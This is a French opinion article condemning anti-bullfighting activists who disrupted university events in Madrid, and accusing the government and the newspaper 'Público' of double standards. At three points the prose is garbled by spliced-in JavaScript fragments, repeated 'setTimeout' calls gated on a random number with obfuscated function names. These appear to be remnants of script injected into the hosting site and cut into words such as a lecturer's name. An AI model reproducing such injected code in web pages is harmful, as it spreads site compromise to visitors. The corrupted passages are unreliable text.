DEUX POIDS, DEUX MESURES

L’augmentation des actions violentes des fanatiques défenseurs des bêtes et anti-taurins remet sur la table cette nécessité d’exiger auprès des autorités compétentes un plan de mesures pour prévenir, sanctionner et éviter – avant que ne se produisent – les incidents que réalisent de façon de plus en plus récurrente ces groupes radicaux d’abolitionnistes opposés à la tauromachie.

La dérive vers de gros bras fascisants que commence à revêtir ces interruptions de conférences comme celle qui se tenait dans le Centre des Etudes Universitaires de Saint Paul à Madrid, à Madrid, le jeudi 4 décembre dernier, qui se solda chez un aficionado de plus de soixante ans –qu’ils bousculèrent dans les escaliers- par une fracture de la tête de l’humérus, par des agressions de plusieurs spectateurs et la tentative de boicot de ce colloque qui portait sur le «Symbolisme taurin jusqu’à l’aube du monde antique » et dont l’intervenante était le professeur agrégé d’histoire Madame Yolandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda Fernández. Un incident similaire à celui qui s’était produit quelques jours auparavant lors de l’inauguration du Cours de Journalisme Taurin à l’Université Complutense de Madrid, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and un autre groupe d’abolitionnistes tenta d’y mettre fin.

L’escalade de violence et de coaction lors des concentrations et manifestations anti-taurines qui cherchent à empêcher la liberté qu’on a d’assister à n’importe quelle rencontre de nature taurine est aussi évidente tout comme ses objectifs sont clairs : faire parler d’eux, intimider les aficionados et le public qui y assiste et provoquer qui, si les responsables du ministère dirigé par le membre de l’Opus Dei Fernández Díaz –fidèle à la croix et à la matraque policière contre les citoyens qui exercent leur droit de se manifester- n’y mettent pas un terme cela pourra dégénérer et provoquer une tragédie tôt ou tard. Et je ne sais pas si on a besoin d’en arriver à des situations comme celle où a perdu la vie un supporter du Deportivo de la Coruña au cours de heurts entre hooligans du Front Atlético et du Riazor Blues il n’a pas longtemps, pour qu’hypocritement on se prenne alors la tête afin de mettre en place au plus vite des solutions de prévention.

Enfreindre le droit de réunion et altérer l’ordre public sont des délits spécifiés par la loi et d’application immédiate pour des énergumènes qui ont provoqué des incursions comme celle de la CEU San Pablo. Leurs méthodes copient non seulement celles de l’extrême droite –rappelons-nous le boycottage de l’organisation Liga Joven à un acte des Victimes du Franquisme ou un autre de la Plataforma de Afectados por la Hipotéca (Plateformes des Victimes de l’Hypothèque), à l’Université Autónoma de Madrid, ou comme ce groupuscule d’extrême droite qui a fait irruption dans celui en faveur de la Diada, de la Generalitat de Catalunya à Madrid, ou celui à l’Athénée de cette même ville en faveur de l’indépendance catalane interrompu par 28 fachos parmi lesquels se trouvait le leader de Falange Española, pour ne citer que les plus récents événements- mais ils se sentent aussi couverts et impunis qu’eux. Impunité avec le silence complice des médias qui passent sous silence leurs actions comme ils le font quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cela va à l’encontre de leurs Conseils d’Administration. Ils ont comme étendard le journal sur le net « Público », qui se vante de son anti-taurinisme jusqu’au point de ne pas avoir écrit une seule ligner pour la mort de Manzanares, ce à quoi ils étaient tenus déontologiquement s’agissant d’une personne dont la notoriété dépassait le cadre national. Ce sont les deux poids et deux mesures de ceux qui se disent démocrates et qui ne font qu’obéir au doigt et à l’œil à leurs chefs.

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